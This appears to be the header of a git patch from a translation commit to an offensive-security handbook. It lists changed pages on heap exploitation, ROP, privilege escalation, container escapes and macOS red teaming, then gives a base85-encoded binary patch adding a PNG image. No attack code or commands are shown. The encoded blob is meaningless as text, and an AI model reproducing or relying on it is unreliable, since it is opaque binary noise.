From 5a40235502ff3de69ef54d5d9022c284f9591c53 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 18 Jul 2024 17:54:59 +0000 Subject: [PATCH] Translated ['README.md', 'backdoors/salseo.md', 'binary-exploitation/arb --- .gitbook/assets/arte.png | Bin 0 -> 773954 bytes .gitbook/assets/grte.png | Bin 0 -> 899745 bytes README.md | 47 +- SUMMARY.md | 2 +- backdoors/salseo.md | 72 +-- .../aw2exec-__malloc_hook.md | 50 +- .../arbitrary-write-2-exec/aw2exec-got-plt.md | 71 ++- .../www2exec-.dtors-and-.fini_array.md | 56 +- .../arbitrary-write-2-exec/www2exec-atexit.md | 69 +-- binary-exploitation/array-indexing.md | 25 +- .../README.md | 91 ++-- .../tools/README.md | 58 ++- .../tools/pwntools.md | 56 +- .../README.md | 47 +- .../aslr/README.md | 75 +-- .../aslr/ret2plt.md | 28 +- .../aslr/ret2ret.md | 52 +- .../cet-and-shadow-stack.md | 48 +- .../libc-protections.md | 59 +-- .../memory-tagging-extension-mte.md | 61 +-- .../no-exec-nx.md | 38 +- .../pie/README.md | 57 ++- .../pie/bypassing-canary-and-pie.md | 56 +- .../relro.md | 29 +- .../stack-canaries/README.md | 75 +-- .../bf-forked-stack-canaries.md | 37 +- .../stack-canaries/print-stack-canary.md | 46 +- .../format-strings-arbitrary-read-example.md | 50 +- .../format-strings/format-strings-template.md | 34 +- binary-exploitation/integer-overflow.md | 77 +-- .../libc-heap/bins-and-memory-allocations.md | 135 ++--- binary-exploitation/libc-heap/double-free.md | 48 +- .../libc-heap/fast-bin-attack.md | 62 +-- .../libc-heap/heap-memory-functions/README.md | 19 +- .../libc-heap/heap-memory-functions/free.md | 70 +-- .../heap-functions-security-checks.md | 55 +- .../malloc-and-sysmalloc.md | 179 ++++--- .../libc-heap/heap-memory-functions/unlink.md | 19 +- .../libc-heap/heap-overflow.md | 58 ++- .../libc-heap/house-of-einherjar.md | 55 +- .../libc-heap/house-of-force.md | 39 +- .../libc-heap/house-of-lore.md | 64 ++- .../libc-heap/house-of-orange.md | 83 +-- .../libc-heap/house-of-rabbit.md | 43 +- .../libc-heap/house-of-roman.md | 62 +-- .../libc-heap/house-of-spirit.md | 46 +- .../libc-heap/large-bin-attack.md | 52 +- .../libc-heap/off-by-one-overflow.md | 87 ++-- .../libc-heap/overwriting-a-freed-chunk.md | 46 +- .../libc-heap/tcache-bin-attack.md | 59 +-- .../libc-heap/unlink-attack.md | 58 ++- .../libc-heap/unsorted-bin-attack.md | 65 +-- .../libc-heap/use-after-free/README.md | 42 +- .../libc-heap/use-after-free/first-fit.md | 43 +- .../rop-return-oriented-programing/README.md | 76 +-- .../brop-blind-return-oriented-programming.md | 75 +-- .../rop-return-oriented-programing/ret2csu.md | 45 +- .../ret2dlresolve.md | 50 +- .../ret2esp-ret2reg.md | 65 +-- .../ret2lib/README.md | 59 +-- .../ret2lib/one-gadget.md | 38 +- .../ret2vdso.md | 40 +- ...windows-exploiting-basic-guide-oscp-lvl.md | 64 ++- .../cryptographic-algorithms/README.md | 72 +-- crypto-and-stego/stego-tricks.md | 74 +-- .../escaping-from-gui-applications.md | 252 +++++---- .../firmware-analysis/README.md | 101 ++-- .../bypass-bash-restrictions/README.md | 46 +- .../privilege-escalation/README.md | 326 ++++++------ .../docker-security/README.md | 121 ++--- .../docker-security/apparmor.md | 98 ++-- .../docker-security/cgroups.md | 59 +-- .../README.md | 129 ++--- .../docker-release_agent-cgroups-escape.md | 56 +- .../sensitive-mounts.md | 68 +-- .../escaping-from-limited-bash.md | 94 ++-- .../interesting-groups-linux-pe/README.md | 75 ++- .../privilege-escalation/write-to-root.md | 48 +- linux-hardening/useful-linux-commands.md | 45 +- .../useful-linux-commands/README.md | 104 ++-- .../bypass-bash-restrictions.md | 66 ++- macos-hardening/macos-auto-start-locations.md | 285 ++++++----- macos-hardening/macos-red-teaming/README.md | 77 ++- .../macos-red-teaming/macos-keychain.md | 78 +-- .../macos-red-teaming/macos-mdm/README.md | 138 +++-- .../README.md | 72 +-- .../mac-os-architecture/README.md | 76 +-- .../README.md | 169 +++--- .../macos-system-extensions.md | 70 +-- .../README.md | 182 ++++--- .../arm64-basic-assembly.md | 306 +++++------ .../objects-in-memory.md | 160 ++++++ .../macos-bypassing-firewalls.md | 50 +- .../macos-file-extension-apps.md | 44 +- .../README.md | 134 ++--- .../macos-bundles.md | 48 +- .../macos-installers-abuse.md | 45 +- .../macos-memory-dumping.md | 52 +- .../macos-sensitive-locations.md | 73 +-- .../universal-binaries-and-mach-o-format.md | 119 ++--- .../macos-gcd-grand-central-dispatch.md | 47 +- .../macos-proces-abuse/README.md | 103 ++-- .../macos-chromium-injection.md | 36 +- .../macos-electron-applications-injection.md | 95 ++-- .../macos-function-hooking.md | 62 +-- .../README.md | 220 ++++---- .../macos-mig-mach-interface-generator.md | 479 +++++++++++++++--- .../macos-xpc/macos-xpc-authorization.md | 72 +-- .../macos-perl-applications-injection.md | 39 +- .../macos-python-applications-injection.md | 38 +- .../macos-users.md | 48 +- macos-hardening/macos-useful-commands.md | 32 +- 112 files changed, 4703 insertions(+), 4047 deletions(-) create mode 100644 .gitbook/assets/arte.png create mode 100644 .gitbook/assets/grte.png create mode 100644 macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md diff --git a/.gitbook/assets/arte.png b/.gitbook/assets/arte.png new file mode 100644 index 0000000000000000000000000000000000000000..ce8af1068db7be4ad9003f8ddb02fea8f943f1a4 GIT binary patch literal 773954 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 